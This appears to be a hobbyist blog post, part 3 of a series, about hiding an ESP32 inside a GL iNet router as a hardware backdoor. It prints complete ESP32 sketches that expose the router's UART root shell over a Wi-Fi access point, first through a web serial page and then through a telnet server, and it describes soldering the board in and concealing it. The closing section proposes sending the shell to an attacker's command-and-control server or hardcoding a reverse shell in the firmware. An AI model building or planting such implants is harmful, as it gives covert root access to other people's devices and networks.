GL iNet 300M Fun (Pt.3)

I recently stumbled across these cute little boards on amazon and HAD to get some, without a project in mind.

I quickly decided these would make an awesome little hardware backdoor/implant, and it just so happens I have a little device I’ve been messing with for a while now.

So far in Pt.1 and 2 we have:

  • Identified debug ports on the router’s PCB
  • Connected to UART to get a root shell
  • Added external headers to easily access the UART
  • Identified GPIO on the PCB
  • Added a “backdoor” via the GPIO by flashing the password in morse using an LED

The plan was to squash the ESP32 in the router’s case, leech off of the devices power and interface with the already discovered UART. I would access this from the ESP32’s onboard wifi in AP mode.

It was easy to find the pins needed to interface with UART and give it power.

So it requires 5v to run, I probed around the router’s PCB until I found a 5v source

It was fairly easy to wire up using a PCB using the previous UART headers added and the new 5v source.

I found a webserver library and modified the example code to send and receive to the UART

/*
  WebSerialLite Demo AP
  ------
  This example code works for both ESP8266 & ESP32 Microcontrollers
  WebSerial is accessible at 192.168.4.1/webserial URL.

  Author: HomeboyC
*/
#include <Arduino.h>
#if defined(ESP8266)
  #include <ESP8266WiFi.h>
  #include <ESPAsyncTCP.h>
#elif defined(ESP32)
  #include <WiFi.h>
  #include <AsyncTCP.h>
#endif
#include <ESPAsyncWebServer.h>
#include <WebSerialLite.h>

AsyncWebServer server(80);

const char* ssid = "uartbackdoor"; // Your WiFi AP SSID 
const char* password = "uartbackdoor"; // Your WiFi Password


/* Message callback of WebSerial */
void recvMsg(uint8_t *data, size_t len){
  WebSerial.println("Received Data...");
  String d = "";
  for(int i=0; i < len; i++){
    d += char(data[i]);
  }
  Serial1.println(d);
  WebSerial.println(d);
}

void setup() {
    Serial.begin(9600);
    Serial1.begin(115200,SERIAL_8N1, 4,5); //int8_t rxPin=4, int8_t txPin=5 
    WiFi.softAP(ssid, password);

    IPAddress IP = WiFi.softAPIP();
    Serial.print("AP IP address: ");
    Serial.println(IP);
    // WebSerial is accessible at "<IP Address>/webserial" in browser
    WebSerial.begin(&server);
    /* Attach Message Callback */
    WebSerial.onMessage(recvMsg);
    server.begin();
}

void loop() {

  if (Serial1.available()) {
    char receivedData[2]; // Assuming the received data is a single character
    receivedData[0] = Serial1.read();
    receivedData[1] = '\0'; // Null-terminate the string
    WebSerial.printf("%s", receivedData); // Print the string
  }
    
}

On my phone I connected to the wifi access point running on the ESP32 and browse to the webserver endpoint:

It works, but wow that’s ugly. So I decided to scrap the webserver idea and instead run a telnet server that can be connected to through putty or any other means. I don’t want to re-invent the wheel and figured someone must have done this before… turns out they had, with some minor modification the new code became:

#include <WiFi.h>

const char* ssid = "uartbackdoor"; // Your WiFi AP SSID 
const char* password = "uartbackdoor"; // Your WiFi Password

WiFiServer Server(23);
WiFiClient Client;

void setup() {
  int8_t i;
  
  Serial.begin(115200);
  Serial1.begin(115200,SERIAL_8N1, 4,5); //int8_t rxPin=4, int8_t txPin=5 
  Serial.print("\nSetting up Access Point...");
  
  // Configure Access Point
  WiFi.softAP(ssid, password);
  
  Serial.println(" Access Point set up.\nLocal IP address: " + WiFi.softAPIP().toString());
  
  Server.begin();
  Server.setNoDelay(true);
  Serial.print("Ready! Use port 23 to connect.");
}

void loop() {
  delay(200);
  
  if (Server.hasClient()) {
    Client = Server.available();
    if (!Client) Serial.println("available broken");
    Serial.print("New client: ");
    Serial.println(Client.remoteIP());
  }

  if (Client && Client.connected()) {
    if (Client.available()) {
      while (Client.available()) {
        Serial1.write(Client.read());
      }
    }
  } else if (Client) {
    Client.stop();
  }

  if (Serial1.available()) {
    size_t len = Serial1.available();
    char sbuf[len];
    Serial1.readBytes(sbuf, len);
    if (Client && Client.connected()) {
      Client.write(sbuf, len);
    }
  }
}

lets connect to it’s wifi and see if it works:

OK that looks a lot better! after playing around running some commands it works brilliantly.
To finish up I flashed the firmware onto an ESP32 without headers and soldered it to the router’s PCB. This was then all squashed back into the router case and no-one would be any the wiser!


Conclusion

Overall this was a fun proof-of-concept but ultimately a terrible backdoor. It requires the attacker to be within range of the ESP32’s wifi (fairly short distance) and is incredibly obvious since the user will be looking for available networks anyway to find the router’s name.

It could be improved by having the ESP32 in client mode connect to a known network (possibly the attackers mobile in hotspot mode). A better idea would be having the ESP32 pull the wireless details from the router via UART then in client mode connect to the router’s wifi and send the UART over the internet to an attackers C&C server.

Even if these improvements were made if anyone looked in the device it would be obvious that something was wrong, a stealthier backdoor would be hardcoding a reverse shell in the router’s software.

Sharing is caring!

Leave a Reply